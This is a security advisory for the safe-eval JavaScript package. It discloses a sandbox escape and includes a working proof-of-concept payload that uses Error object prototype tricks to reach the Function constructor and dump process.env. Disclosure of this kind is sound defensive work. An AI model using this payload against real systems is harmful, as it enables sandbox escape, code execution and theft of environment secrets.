GHSA-hrpq-r399-whgw
Sandbox Breakout / Arbitrary Code Execution in safe-eval
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
All versions of `safe-eval` are vulnerable to Sandbox Escape leading to Remote Code Execution. The package fails to restrict access to the main context through Error objects. This may allow attackers to execute arbitrary code in the system.
Evaluating the payload
```js
(function (){
var ex = new Error
ex.__proto__ = null
ex.stack = {
match: x => {
return x.constructor.constructor("throw process.env")()
}
}
return ex
})()
```
prints the contents of `process.env`.
## Recommendation
No fix is currently available. Consider using an alternative package until a fix is made available.
References
External links from the advisory. They lead to third-party sites.